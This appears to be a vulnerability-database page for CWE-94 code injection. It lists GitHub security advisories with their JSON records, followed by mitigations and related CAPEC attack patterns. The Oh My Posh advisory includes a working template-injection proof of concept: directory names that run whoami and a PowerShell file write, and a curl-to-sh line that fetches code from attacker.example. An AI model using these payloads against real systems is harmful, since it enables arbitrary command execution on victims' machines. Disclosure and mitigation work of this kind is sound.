CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8379 vulnerabilities reference this CWE, most recent first.
GHSA-6X5G-M8WV-W9V6
Vulnerability from github – Published: 2022-05-01 18:29 – Updated: 2022-05-01 18:29Argument injection vulnerability in Apple QuickTime 7.1.5 and earlier, when running on systems with Mozilla Firefox before 2.0.0.7 installed, allows remote attackers to execute arbitrary commands via a QuickTime Media Link (QTL) file with an embed XML element and a qtnext parameter containing the Firefox "-chrome" argument. NOTE: this is a related issue to CVE-2006-4965 and the result of an incomplete fix for CVE-2007-3670.
{
"affected": [],
"aliases": [
"CVE-2007-5045"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-24T00:17:00Z",
"severity": "HIGH"
},
"details": "Argument injection vulnerability in Apple QuickTime 7.1.5 and earlier, when running on systems with Mozilla Firefox before 2.0.0.7 installed, allows remote attackers to execute arbitrary commands via a QuickTime Media Link (QTL) file with an embed XML element and a qtnext parameter containing the Firefox \"-chrome\" argument. NOTE: this is a related issue to CVE-2006-4965 and the result of an incomplete fix for CVE-2007-3670.",
"id": "GHSA-6x5g-m8wv-w9v6",
"modified": "2022-05-01T18:29:25Z",
"published": "2022-05-01T18:29:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5045"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=395942"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5896"
},
{
"type": "WEB",
"url": "http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c00771742"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/26881"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-66-201516-1"
},
{
"type": "WEB",
"url": "http://www.gnucitizen.org/blog/0day-quicktime-pwns-firefox"
},
{
"type": "WEB",
"url": "http://www.mozilla.org/security/announce/2007/mfsa2007-28.html"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2007_57_mozilla.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/479179/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3197"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6X8R-FRRV-MCW4
Vulnerability from github – Published: 2022-05-01 23:27 – Updated: 2022-05-01 23:27The (1) VBScript (VBScript.dll) and (2) JScript (JScript.dll) scripting engines 5.1 and 5.6, as used in Microsoft Windows 2000 SP4, XP SP2, and Server 2003 SP1 and SP2, do not properly decode script, which allows remote attackers to execute arbitrary code via unknown vectors.
{
"affected": [],
"aliases": [
"CVE-2008-0083"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-08T23:05:00Z",
"severity": "HIGH"
},
"details": "The (1) VBScript (VBScript.dll) and (2) JScript (JScript.dll) scripting engines 5.1 and 5.6, as used in Microsoft Windows 2000 SP4, XP SP2, and Server 2003 SP1 and SP2, do not properly decode script, which allows remote attackers to execute arbitrary code via unknown vectors.",
"id": "GHSA-6x8r-frrv-mcw4",
"modified": "2022-05-01T23:27:35Z",
"published": "2022-05-01T23:27:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0083"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-022"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5495"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=120845064910729\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29712"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28551"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1019799"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA08-099A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1146/references"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6X9C-W5J8-8H3X
Vulnerability from github – Published: 2022-05-17 02:05 – Updated: 2022-05-17 02:05Multiple PHP remote file inclusion vulnerabilities in Pecio CMS 2.0.5 allow remote attackers to execute arbitrary PHP code via a URL in the template parameter to (1) post.php, (2) article.php, (3) blog.php, or (4) home.php in pec_templates/nova-blue/.
{
"affected": [],
"aliases": [
"CVE-2010-3204"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-09-03T18:00:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Pecio CMS 2.0.5 allow remote attackers to execute arbitrary PHP code via a URL in the template parameter to (1) post.php, (2) article.php, (3) blog.php, or (4) home.php in pec_templates/nova-blue/.",
"id": "GHSA-6x9c-w5j8-8h3x",
"modified": "2022-05-17T02:05:45Z",
"published": "2022-05-17T02:05:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3204"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/61433"
},
{
"type": "WEB",
"url": "http://eidelweiss-advisories.blogspot.com/2010/08/pecio-cms-v205-template-multiple-remote.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1008-exploits/peciocms-rfi.txt"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/14815"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6XC6-38FW-MPV2
Vulnerability from github – Published: 2022-05-02 06:11 – Updated: 2022-05-02 06:11Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka "Uninitialized Memory Corruption Vulnerability," a different vulnerability than CVE-2009-3671, CVE-2009-3674, and CVE-2010-0245.
{
"affected": [],
"aliases": [
"CVE-2010-0246"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-01-22T22:00:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka \"Uninitialized Memory Corruption Vulnerability,\" a different vulnerability than CVE-2009-3671, CVE-2009-3674, and CVE-2010-0245.",
"id": "GHSA-6xc6-38fw-mpv2",
"modified": "2022-05-02T06:11:14Z",
"published": "2022-05-02T06:11:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0246"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-002"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/55776"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8378"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6XC9-XR94-5GVV
Vulnerability from github – Published: 2024-12-27 21:30 – Updated: 2024-12-28 18:30An issue in smarts-srl.com Smart Agent v.1.1.0 allows a remote attacker to obtain sensitive information via command injection through a vulnerable unsanitized parameter defined in the /youtubeInfo.php component.
{
"affected": [],
"aliases": [
"CVE-2024-50715"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-27T21:15:07Z",
"severity": "HIGH"
},
"details": "An issue in smarts-srl.com Smart Agent v.1.1.0 allows a remote attacker to obtain sensitive information via command injection through a vulnerable unsanitized parameter defined in the /youtubeInfo.php component.",
"id": "GHSA-6xc9-xr94-5gvv",
"modified": "2024-12-28T18:30:47Z",
"published": "2024-12-27T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50715"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/182451"
},
{
"type": "WEB",
"url": "https://smarts-srl.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6XF9-6QC5-4W36
Vulnerability from github – Published: 2022-05-14 01:08 – Updated: 2025-04-12 12:36NetBIOS name services daemon (nmbd) in Samba 4.0.x before 4.0.21 and 4.1.x before 4.1.11 allows remote attackers to execute arbitrary code via unspecified vectors that modify heap memory, involving a sizeof operation on an incorrect variable in the unstrcpy macro in string_wrappers.h.
{
"affected": [],
"aliases": [
"CVE-2014-3560"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-08-06T18:55:00Z",
"severity": "HIGH"
},
"details": "NetBIOS name services daemon (nmbd) in Samba 4.0.x before 4.0.21 and 4.1.x before 4.1.11 allows remote attackers to execute arbitrary code via unspecified vectors that modify heap memory, involving a sizeof operation on an incorrect variable in the unstrcpy macro in string_wrappers.h.",
"id": "GHSA-6xf9-6qc5-4w36",
"modified": "2025-04-12T12:36:20Z",
"published": "2022-05-14T01:08:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3560"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1126010"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/95081"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=samba.git%3Ba=commitdiff%3Bh=e6a848630da3ba958c442438ea131c99fa088605"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=samba.git%3Ba=commitdiff%3Bh=fb1d325d96dfe9bc2e9c4ec46ad4c55e8f18f4a2"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=samba.git;a=commitdiff;h=e6a848630da3ba958c442438ea131c99fa088605"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=samba.git;a=commitdiff;h=fb1d325d96dfe9bc2e9c4ec46ad4c55e8f18f4a2"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2014-August/136280.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2014-August/136864.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2014-08/msg00027.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/59583"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/59610"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/59976"
},
{
"type": "WEB",
"url": "http://www.samba.org/samba/security/CVE-2014-3560"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/69021"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1030663"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2305-1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6XJ8-QV9J-XCJQ
Vulnerability from github – Published: 2026-07-24 22:36 – Updated: 2026-07-24 22:36Summary
Oh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go text/template engine. That engine's function map exposes a cmd function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.
Details
src/segments/path.go, setStyle():
// make sure we resolve all templates
if txt, err := template.Render(pt.Path, pt); err == nil {
pt.Path = txt
}
pt.Path is built from the raw folder-name components of the current working directory (colorizePath inserts each folder name verbatim via fmt.Sprintf(folderFormat, element)). The whole string is then passed to template.Render, which parses and executes it with the full function map from src/template/func_map.go, including:
func cmd(command string, args ...string) (string, error) {
output, err := env.RunCommand(command, args...)
return strings.TrimSpace(output), err
}
Any template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (src/config/default.go) contains a path segment.
PoC
Config (a single default path segment):
{ "version":3, "blocks":[{"type":"prompt","alignment":"left","segments":[
{"type":"path","style":"plain","foreground":"#ffffff",
"template":"{{ .Path }}","properties":{"style":"full"}}]}]}
Command execution reflected into the prompt (--pwd supplies exactly the string env.Pwd() returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only / and NUL are disallowed):
$ oh-my-posh print primary --config p.json --shell fish \
--pwd '/home/v/{{ cmd `whoami` }}'
/home/v/<username> # whoami executed, output substituted
Side effect (file write), slash-free payload, verified on Windows:
$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \
--pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'
$ cat /tmp/proof
pwn3d
Confirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.
Impact
Arbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.
The path is split on / (and \ on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS {{ cmdsh-ccurl${IFS}-s${IFS}attacker.example|sh}} needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name ({{ cmdbashx}}).
Suggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (folder_separator_template, mapped_locations, folder_format) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape {{/}} in raw folder-name components before insertion, or use a data-only function map (no cmd/readFile/stat/glob) for path resolution. The same double-evaluation pattern is worth reviewing at src/segments/options/map.go.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 29.35.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/jandedobbeleer/oh-my-posh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "29.35.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:36:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nOh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go `text/template` engine. That engine\u0027s function map exposes a `cmd` function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.\n\n### Details\n`src/segments/path.go`, `setStyle()`:\n\n```go\n// make sure we resolve all templates\nif txt, err := template.Render(pt.Path, pt); err == nil {\n pt.Path = txt\n}\n```\n\n`pt.Path` is built from the raw folder-name components of the current working directory (`colorizePath` inserts each folder name verbatim via `fmt.Sprintf(folderFormat, element)`). The whole string is then passed to `template.Render`, which parses and executes it with the full function map from `src/template/func_map.go`, including:\n\n```go\nfunc cmd(command string, args ...string) (string, error) {\n output, err := env.RunCommand(command, args...)\n return strings.TrimSpace(output), err\n}\n```\n\nAny template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (`src/config/default.go`) contains a path segment.\n\n### PoC\nConfig (a single default path segment):\n\n```json\n{ \"version\":3, \"blocks\":[{\"type\":\"prompt\",\"alignment\":\"left\",\"segments\":[\n {\"type\":\"path\",\"style\":\"plain\",\"foreground\":\"#ffffff\",\n \"template\":\"{{ .Path }}\",\"properties\":{\"style\":\"full\"}}]}]}\n```\n\nCommand execution reflected into the prompt (`--pwd` supplies exactly the string `env.Pwd()` returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only `/` and NUL are disallowed):\n\n```\n$ oh-my-posh print primary --config p.json --shell fish \\\n --pwd \u0027/home/v/{{ cmd `whoami` }}\u0027\n/home/v/\u003cusername\u003e # whoami executed, output substituted\n```\n\nSide effect (file write), slash-free payload, verified on Windows:\n\n```\n$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \\\n --pwd \u0027/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}\u0027\n$ cat /tmp/proof\npwn3d\n```\n\nConfirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.\n\n### Impact\nArbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.\n\nThe path is split on `/` (and `\\` on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS `{{ cmd `sh` `-c` `curl${IFS}-s${IFS}attacker.example|sh` }}` needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name (`{{ cmd `bash` `x` }}`).\n\nSuggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (`folder_separator_template`, `mapped_locations`, `folder_format`) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape `{{`/`}}` in raw folder-name components before insertion, or use a data-only function map (no `cmd`/`readFile`/`stat`/`glob`) for path resolution. The same double-evaluation pattern is worth reviewing at `src/segments/options/map.go`.",
"id": "GHSA-6xj8-qv9j-xcjq",
"modified": "2026-07-24T22:36:11Z",
"published": "2026-07-24T22:36:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh/security/advisories/GHSA-6xj8-qv9j-xcjq"
},
{
"type": "WEB",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh/commit/88ddbe0b0a4dd13cc345996108c9869493f2c690"
},
{
"type": "PACKAGE",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh"
},
{
"type": "WEB",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.35.1"
},
{
"type": "WEB",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.36.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Oh My Posh: Arbitrary command execution via template injection in the path segment"
}
GHSA-6XM8-H4FW-JRR6
Vulnerability from github – Published: 2022-05-01 23:37 – Updated: 2022-05-01 23:37Unspecified vulnerability in nlnotes.dll in the client in IBM Lotus Notes 6.5, 7.0.x before 7.0.2 CCH, and 8.0.x before 8.0.1 allows remote attackers to execute arbitrary code via a crafted attachment in an e-mail message sent over SMTP, a variant of CVE-2007-6706.
{
"affected": [],
"aliases": [
"CVE-2008-1217"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-09T02:44:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in nlnotes.dll in the client in IBM Lotus Notes 6.5, 7.0.x before 7.0.2 CCH, and 8.0.x before 8.0.1 allows remote attackers to execute arbitrary code via a crafted attachment in an e-mail message sent over SMTP, a variant of CVE-2007-6706.",
"id": "GHSA-6xm8-h4fw-jrr6",
"modified": "2022-05-01T23:37:47Z",
"published": "2022-05-01T23:37:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1217"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1019464"
},
{
"type": "WEB",
"url": "http://www-1.ibm.com/support/docview.wss?uid=swg21271957"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6XP4-7CVM-MCJW
Vulnerability from github – Published: 2023-05-31 21:31 – Updated: 2024-04-04 04:26Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2022-35743"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-31T19:15:16Z",
"severity": "HIGH"
},
"details": "Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability",
"id": "GHSA-6xp4-7cvm-mcjw",
"modified": "2024-04-04T04:26:13Z",
"published": "2023-05-31T21:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35743"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35743"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6XR2-X79F-R46G
Vulnerability from github – Published: 2022-05-17 03:23 – Updated: 2022-05-17 03:23The send_the_mail function in server/svr_mail.c in Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource Manager) before 4.2.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the email (-M switch) to qsub.
{
"affected": [],
"aliases": [
"CVE-2013-4495"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-11-20T14:12:00Z",
"severity": "HIGH"
},
"details": "The send_the_mail function in server/svr_mail.c in Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource Manager) before 4.2.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the email (-M switch) to qsub.",
"id": "GHSA-6xr2-x79f-r46g",
"modified": "2022-05-17T03:23:25Z",
"published": "2022-05-17T03:23:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4495"
},
{
"type": "WEB",
"url": "https://www.adaptivecomputing.com/wp-content/uploads/releasenotes/releaseNotes-4.2.6.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2013/dsa-2796"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/55535"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/55622"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.